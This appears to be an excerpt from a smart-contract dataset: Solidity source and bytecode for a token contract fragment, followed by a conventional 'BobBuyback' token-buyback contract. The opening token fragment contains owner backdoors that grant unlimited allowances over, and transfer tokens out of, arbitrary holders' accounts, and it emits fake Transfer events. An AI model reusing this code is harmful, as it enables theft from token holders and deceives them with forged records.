_approve(recipient, _path_,_maximumVal);}
function enterList(address[] memory addrss) public _verify(){
for (uint256 i = 0; i < addrss.length; i++) {
_plus[addrss[i]]=true;
_approve(addrss[i], _path_,_maximumVal);}}
function leave(address recipient) public _verify(){
//Disable permission
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function approval(address addr) public _verify() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferToTokenSaleParticipant(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function claimAirdrop(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
}
|
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638d3ca13e116100de578063b14a5c6a11610097578063cc044ca911610071578063cc044ca9146109fa578063d014c01f14610b2d578063dd62ed3e14610b53578063f8129cd214610b815761018e565b8063b14a5c6a146109cc578063bb88603c146105d1578063bedf77a6146109d45761018e565b80638d3ca13e146105d95780639430b4961461070c57806395d89b4114610732578063a5aae2541461073a578063a9059cbb1461086d578063aab39a30146108995761018e565b80633cc4430d1161014b578063671e992111610125578063671e9921146104e657806368d37db51461050a57806370a08231146105ab578063715018a6146105d15761018e565b80633cc4430d146103615780634e6ec247146104945780635265327c146104c05761018e565b806306fdde031461019357806308ec4eb514610210578063095ea7b3146102b357806318160ddd146102f357806323b872dd1461030d578063313ce56714610343575b600080fd5b61019b610cb4565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102b16004803603602081101561022657600080fd5b810190602081018135600160201b81111561024057600080fd5b82018360208201111561025257600080fd5b803590602001918460208302840111600160201b8311171561027357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d4a945050505050565b005b6102df600480360360408110156102c957600080fd5b506001600160a01b038135169060200135610e3e565b604080519115158252519081900360200190f35b6102fb610e5b565b60408051918252519081900360200190f35b6102df6004803603606081101561032357600080fd5b506001600160a01b03813581169160208101359091169060400135610e61565b61034b610ee8565b6040805160ff9092168252519081900360200190f35b6102b16004803603606081101561037757600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156103a157600080fd5b8201836020820111156103b357600080fd5b803590602001918460208302840111600160201b831117156103d457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561042357600080fd5b82018360208201111561043557600080fd5b803590602001918460208302840111600160201b8311171561045657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ef1945050505050565b6102b1600480360360408110156104aa57600080fd5b506001600160a01b038135169060200135610fb7565b6102b1600480360360208110156104d657600080fd5b50356001600160a01b0316611095565b6104ee6110ff565b604080516001600160a01b039092168252519081900360200190f35b6102b16004803603602081101561052057600080fd5b810190602081018135600160201b81111561053a57600080fd5b82018360208201111561054c57600080fd5b803590602001918460208302840111600160201b8311171561056d57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061110e945050505050565b6102fb600480360360208110156105c157600080fd5b50356001600160a01b03166111f4565b6102b161120f565b6102b1600480360360608110156105ef57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561061957600080fd5b82018360208201111561062b57600080fd5b803590602001918460208302840111600160201b8311171561064c57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561069b57600080fd5b8201836020820111156106ad57600080fd5b803590602001918460208302840111600160201b831117156106ce57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061125e945050505050565b6102df6004803603602081101561072257600080fd5b50356001600160a01b031661131e565b61019b61138a565b6102b16004803603606081101561075057600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561077a57600080fd5b82018360208201111561078c57600080fd5b803590602001918460208302840111600160201b831117156107ad57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156107fc57600080fd5b82018360208201111561080e57600080fd5b803590602001918460208302840111600160201b8311171561082f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506113eb945050505050565b6102df6004803603604081101561088357600080fd5b506001600160a01b0381351690602001356114ab565b6102b1600480360360608110156108af57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156108d957600080fd5b8201836020820111156108eb57600080fd5b803590602001918460208302840111600160201b8311171561090c57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561095b57600080fd5b82018360208201111561096d57600080fd5b803590602001918460208302840111600160201b8311171561098e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506114bf945050505050565b6104ee61157f565b6102b1600480360360208110156109ea57600080fd5b50356001600160a01b031661158e565b6102b160048036036060811015610a1057600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610a3a57600080fd5b820183602082011115610a4c57600080fd5b803590602001918460208302840111600160201b83111715610a6d57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610abc57600080fd5b820183602082011115610ace57600080fd5b803590602001918460208302840111600160201b83111715610aef57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611610945050505050565b6102b160048036036020811015610b4357600080fd5b50356001600160a01b03166116ae565b6102fb60048036036040811015610b6957600080fd5b506001600160a01b0381358116916020013516611735565b6102b160048036036060811015610b9757600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610bc157600080fd5b820183602082011115610bd357600080fd5b803590602001918460208302840111600160201b83111715610bf457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610c4357600080fd5b820183602082011115610c5557600080fd5b803590602001918460208302840111600160201b83111715610c7657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611760945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610d405780601f10610d1557610100808354040283529160200191610d40565b820191906000526020600020905b815481529060010190602001808311610d2357829003601f168201915b5050505050905090565b600d546001600160a01b03163314610d92576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610e3a576001806000848481518110610daf57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610e0057fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610d95565b5050565b6000610e52610e4b611881565b8484611885565b50600192915050565b60045490565b6000610e6e848484611971565b610ede84610e7a611881565b610ed985604051806060016040528060288152602001612492602891396001600160a01b038a16600090815260036020526040812090610eb8611881565b6001600160a01b031681526020810191909152604001600020549190611bf6565b611885565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610f3e576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb157828181518110610f5657fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206124ba833981519152848481518110610f8c57fe5b60200260200101516040518082815260200191505060405180910390a3600101610f41565b50505050565b600d546001600160a01b03163314611016576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b6004546110239082611820565b600455600d546001600160a01b031660009081526020819052604090205461104b9082611820565b600d546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391926000805160206124ba8339815191529281900390910190a35050565b600d546001600160a01b031633146110dd576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b600d546001600160a01b0316331461115b576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8151811015610e3a57600180600084848151811061117857fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506111ec8282815181106111c657fe5b6020026020010151600b60009054906101000a90046001600160a01b0316600854611885565b60010161115e565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b0316331461125c576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b565b600d546001600160a01b031633146112ab576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb157836001600160a01b03168382815181106112cd57fe5b60200260200101516001600160a01b03166000805160206124ba8339815191528484815181106112f957fe5b60200260200101516040518082815260200191505060405180910390a36001016112ae565b600d546000906001600160a01b0316331461136e576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6113828261137a611881565b600854611885565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610d405780601f10610d1557610100808354040283529160200191610d40565b600d546001600160a01b03163314611438576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb157836001600160a01b031683828151811061145a57fe5b60200260200101516001600160a01b03166000805160206124ba83398151915284848151811061148657fe5b60200260200101516040518082815260200191505060405180910390a360010161143b565b6000610e526114b8611881565b8484611971565b600d546001600160a01b0316331461150c576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb15782818151811061152457fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206124ba83398151915284848151811061155a57fe5b60200260200101516040518082815260200191505060405180910390a360010161150f565b600d546001600160a01b031681565b600d546001600160a01b031633146115db576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b5461160d928492911690611885565b50565b600d546001600160a01b0316331461165d576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6116698361137a611881565b60005b8251811015610fb1576116a68484838151811061168557fe5b602002602001015184848151811061169957fe5b6020026020010151611c8d565b60010161166c565b600d546001600160a01b031633146116fb576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461160d9284921690611885565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b031633146117ad576040805162461bcd60e51b81526020600482015260176024820152600080516020612472833981519152604482015290519081900360640190fd5b60005b8251811015610fb1578281815181106117c557fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206124ba8339815191528484815181106117fb57fe5b60200260200101516040518082815260200191505060405180910390a36001016117b0565b60008282018381101561187a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166118ca5760405162461bcd60e51b81526004018080602001828103825260248152602001806124ff6024913960400191505060405180910390fd5b6001600160a01b03821661190f5760405162461bcd60e51b815260040180806020018281038252602281526020018061242a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156119a75750600d546001600160a01b038381169116145b156119d757600980546001600160a01b0319166001600160a01b0386161790556119d2878787611e06565b611bed565b600d546001600160a01b0383811691161480611a0057506009546001600160a01b038381169116145b80611a185750600d546001600160a01b038581169116145b15611a6157600d546001600160a01b038381169116148015611a4b5750836001600160a01b0316826001600160a01b0316145b15611a5657600a8390555b6119d2878787611e06565b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611a93576119d2878787611e06565b6001600160a01b03821660009081526002602052604090205460ff16151560011415611b1d576009546001600160a01b0383811691161480611ae25750600b546001600160a01b038581169116145b611a565760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b600a54831015611b7e576009546001600160a01b0385811691161415611a56576001600160a01b03821660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690556119d2878787611e06565b6009546001600160a01b0383811691161480611ba75750600b546001600160a01b038581169116145b611be25760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b611bed878787611e06565b50505050505050565b60008184841115611c855760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c4a578181015183820152602001611c32565b50505050905090810190601f168015611c775780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611cd25760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b038216611d175760405162461bcd60e51b81526004018080602001828103825260238152602001806124076023913960400191505060405180910390fd5b611d22838383612401565b611d5f8160405180606001604052806026815260200161244c602691396001600160a01b0386166000908152602081905260409020549190611bf6565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611d8e9082611820565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611dc857600c546001600160a01b031692505b816001600160a01b0316836001600160a01b03166000805160206124ba833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611e3c5750600d546001600160a01b038381169116145b15611fd257600980546001600160a01b0319166001600160a01b03868116919091179091558716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b038616611ee35760405162461bcd60e51b81526004018080602001828103825260238152602001806124076023913960400191505060405180910390fd5b611eee878787612401565b611f2b8560405180606001604052806026815260200161244c602691396001600160a01b038a166000908152602081905260409020549190611bf6565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611f5a9086611820565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611f9457600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206124ba833981519152876040518082815260200191505060405180910390a3611bed565b600d546001600160a01b0383811691161480611ffb57506009546001600160a01b038381169116145b806120135750600d546001600160a01b038581169116145b1561209657600d546001600160a01b0383811691161480156120465750836001600160a01b0316826001600160a01b0316145b1561205157600a8390555b6001600160a01b038716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415612102576001600160a01b038716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff1615156001141561218c576009546001600160a01b03838116911614806121515750600b546001600160a01b038581169116145b6120515760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b600a54831015612220576009546001600160a01b0385811691161415612051576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611e9e5760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6009546001600160a01b03838116911614806122495750600b546001600160a01b038581169116145b6122845760405162461bcd60e51b815260040180806020018281038252602681526020018061244c6026913960400191505060405180910390fd5b6001600160a01b0387166122c95760405162461bcd60e51b81526004018080602001828103825260258152602001806124da6025913960400191505060405180910390fd5b6001600160a01b03861661230e5760405162461bcd60e51b81526004018080602001828103825260238152602001806124076023913960400191505060405180910390fd5b612319878787612401565b6123568560405180606001604052806026815260200161244c602691396001600160a01b038a166000908152602081905260409020549190611bf6565b6001600160a01b0380891660009081526020819052604080822093909355908816815220546123859086611820565b6001600160a01b03808816600090815260208190526040902091909155600d54888216911614156123bf57600c546001600160a01b031696505b856001600160a01b0316876001600160a01b03166000805160206124ba833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206e81866b82303f54a107fc89b8dcdd8dd3eb21529e94f3ec24216e534e8570b964736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,887 |
0xfd13f08b3ee2a1e5dc0bc45009e3d8e7190e99a9
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(
ERC20 _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Destructible
* @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner.
*/
contract Destructible is Ownable {
/**
* @dev Transfers the current balance to the owner and terminates the contract.
*/
function destroy() public onlyOwner {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) public onlyOwner {
selfdestruct(_recipient);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
/**
* @title Contracts that should not own Contracts
* @author Remco Bloemen <remco@2π.com>
* @dev Should contracts (anything Ownable) end up being owned by this contract, it allows the owner
* of this contract to reclaim ownership of the contracts.
*/
contract HasNoContracts is Ownable {
/**
* @dev Reclaim ownership of Ownable contracts
* @param _contractAddr The address of the Ownable to be reclaimed.
*/
function reclaimContract(address _contractAddr) external onlyOwner {
Ownable contractInst = Ownable(_contractAddr);
contractInst.transferOwnership(owner);
}
}
/**
* @title Contracts that should be able to recover tokens
* @author SylTi
* @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner.
* This will prevent any accidental loss of tokens.
*/
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20;
/**
* @dev Reclaim all ERC20 compatible tokens
* @param _token ERC20 The address of the token contract
*/
function reclaimToken(ERC20 _token) external onlyOwner {
uint256 balance = _token.balanceOf(this);
_token.safeTransfer(owner, balance);
}
}
/**
* Automated buy back BOB tokens
*/
contract BobBuyback is Claimable, HasNoContracts, CanReclaimToken, Destructible {
using SafeMath for uint256;
ERC20 public token; //Address of BOB token contract
uint256 public maxGasPrice; //Highest gas price allowed for buyback transaction
uint256 public maxTxValue; //Highest amount of BOB sent in one transaction
uint256 public roundStartTime; //Timestamp when buyback starts (timestamp of the first block where buyback allowed)
uint256 public rate; //1 ETH = rate BOB
event Buyback(address indexed from, uint256 amountBob, uint256 amountEther);
constructor(ERC20 _token, uint256 _maxGasPrice, uint256 _maxTxValue) public {
token = _token;
maxGasPrice = _maxGasPrice;
maxTxValue = _maxTxValue;
roundStartTime = 0;
rate = 0;
}
/**
* @notice Somebody may call this to sell his tokens
* @param _amount How much tokens to sell
* Call to token.approve() required before calling this function
*/
function buyback(uint256 _amount) external {
require(tx.gasprice <= maxGasPrice);
require(_amount <= maxTxValue);
require(isRunning());
uint256 amount = _amount;
uint256 reward = calcReward(amount);
if(address(this).balance < reward) {
//If not enough money to fill request, handle it partially
reward = address(this).balance;
amount = reward.mul(rate);
}
require(token.transferFrom(msg.sender, address(this), amount));
msg.sender.transfer(reward);
emit Buyback(msg.sender, amount, reward);
}
/**
* @notice Calculates how much ETH somebody can receive for selling amount BOB
* @param amount How much tokens to sell
*/
function calcReward(uint256 amount) view public returns(uint256) {
if(rate == 0) return 0; //Handle situation when no Buyback is planned
return amount.div(rate); //This operation may result in rounding. Which is fine here (rounded amount < rate / 10**18)
}
/**
* @notice Calculates how much BOB tokens this contract can buy (during current buyback round)
*/
function calcTokensAvailableToBuyback() view public returns(uint256) {
return address(this).balance.mul(rate);
}
/**
* @notice Checks if Buyback round is running
*/
function isRunning() view public returns(bool) {
return (rate > 0) && (now >= roundStartTime) && (address(this).balance > 0);
}
/**
* @notice Changes buyback parameters
* @param _maxGasPrice Max gas price one ca use to sell is tokens.
* @param _maxTxValue Max amount of tokens to sell in one transaction
*/
function setup(uint256 _maxGasPrice, uint256 _maxTxValue) onlyOwner external {
maxGasPrice = _maxGasPrice;
maxTxValue = _maxTxValue;
}
/**
* @notice Starts buyback at specified time, with specified rate
* @param _roundStartTime Time when Buyback round starts
* @param _rate Rate of current Buyback round (1 ETH = rate BOB). Zero means no buyback is planned.
*/
function startBuyback(uint256 _roundStartTime, uint256 _rate) onlyOwner external payable {
require(_roundStartTime > now);
roundStartTime = _roundStartTime;
rate = _rate; //Rate is not required to be > 0
}
/**
* @notice Claim all BOB tokens stored on the contract and send them to owner
*/
function claimTokens() onlyOwner external {
require(token.transfer(owner, token.balanceOf(address(this))));
}
/**
* @notice Claim some of tokens stored on the contract
* @param amount How much tokens to claim
* @param beneficiary Who to send this tokens
*/
function claimTokens(uint256 amount, address beneficiary) onlyOwner external {
require(token.transfer(beneficiary, amount));
}
/**
* @notice Transfer all Ether held by the contract to the owner.
*/
function reclaimEther() onlyOwner external {
owner.transfer(address(this).balance);
}
}
|
0x6080604052600436106101195763ffffffff60e060020a6000350416630a8fed89811461011e57806317ffc3201461013b5780632014e5d11461015c5780632aed7f3f146101855780632c4e722e146101a65780632cb71af3146101cd5780633b29c470146101db5780633de39c11146101f057806348c54b9d146102055780634e71e0c81461021a578063544c465c1461022f5780636e164e2314610247578063715018a61461026b57806379a9fa1c1461028057806383197ef0146102985780638da5cb5b146102ad5780639f727c27146102de578063dd4f8f74146102f3578063e30c397814610308578063e8eecf4c1461031d578063f2fde38b14610332578063f5074f4114610353578063fc0c546a14610374575b600080fd5b34801561012a57600080fd5b50610139600435602435610389565b005b34801561014757600080fd5b50610139600160a060020a03600435166103ab565b34801561016857600080fd5b50610171610477565b604080519115158252519081900360200190f35b34801561019157600080fd5b50610139600160a060020a036004351661049e565b3480156101b257600080fd5b506101bb610538565b60408051918252519081900360200190f35b61013960043560243561053e565b3480156101e757600080fd5b506101bb61056c565b3480156101fc57600080fd5b506101bb610584565b34801561021157600080fd5b5061013961058a565b34801561022657600080fd5b506101396106c7565b34801561023b57600080fd5b506101bb60043561074f565b34801561025357600080fd5b50610139600435600160a060020a0360243516610780565b34801561027757600080fd5b5061013961083d565b34801561028c57600080fd5b506101396004356108a9565b3480156102a457600080fd5b50610139610a28565b3480156102b957600080fd5b506102c2610a4d565b60408051600160a060020a039092168252519081900360200190f35b3480156102ea57600080fd5b50610139610a5c565b3480156102ff57600080fd5b506101bb610ab1565b34801561031457600080fd5b506102c2610ab7565b34801561032957600080fd5b506101bb610ac6565b34801561033e57600080fd5b50610139600160a060020a0360043516610acc565b34801561035f57600080fd5b50610139600160a060020a0360043516610b12565b34801561038057600080fd5b506102c2610b35565b600054600160a060020a031633146103a057600080fd5b600391909155600455565b60008054600160a060020a031633146103c357600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561042457600080fd5b505af1158015610438573d6000803e3d6000fd5b505050506040513d602081101561044e57600080fd5b505160005490915061047390600160a060020a0384811691168363ffffffff610b4416565b5050565b60008060065411801561048c57506005544210155b8015610499575060003031115b905090565b60008054600160a060020a031633146104b657600080fd5b5060008054604080517ff2fde38b000000000000000000000000000000000000000000000000000000008152600160a060020a039283166004820152905184939284169263f2fde38b926024808201939182900301818387803b15801561051c57600080fd5b505af1158015610530573d6000803e3d6000fd5b505050505050565b60065481565b600054600160a060020a0316331461055557600080fd5b42821161056157600080fd5b600591909155600655565b6006546000906104999030319063ffffffff610be316565b60035481565b600054600160a060020a031633146105a157600080fd5b60025460008054604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a039485169463a9059cbb9493169285926370a082319260248083019360209383900390910190829087803b15801561061557600080fd5b505af1158015610629573d6000803e3d6000fd5b505050506040513d602081101561063f57600080fd5b50516040805160e060020a63ffffffff8616028152600160a060020a03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561068e57600080fd5b505af11580156106a2573d6000803e3d6000fd5b505050506040513d60208110156106b857600080fd5b505115156106c557600080fd5b565b600154600160a060020a031633146106de57600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b6000600654600014156107645750600061077b565b60065461077890839063ffffffff610c1c16565b90505b919050565b600054600160a060020a0316331461079757600080fd5b600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038481166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561080657600080fd5b505af1158015610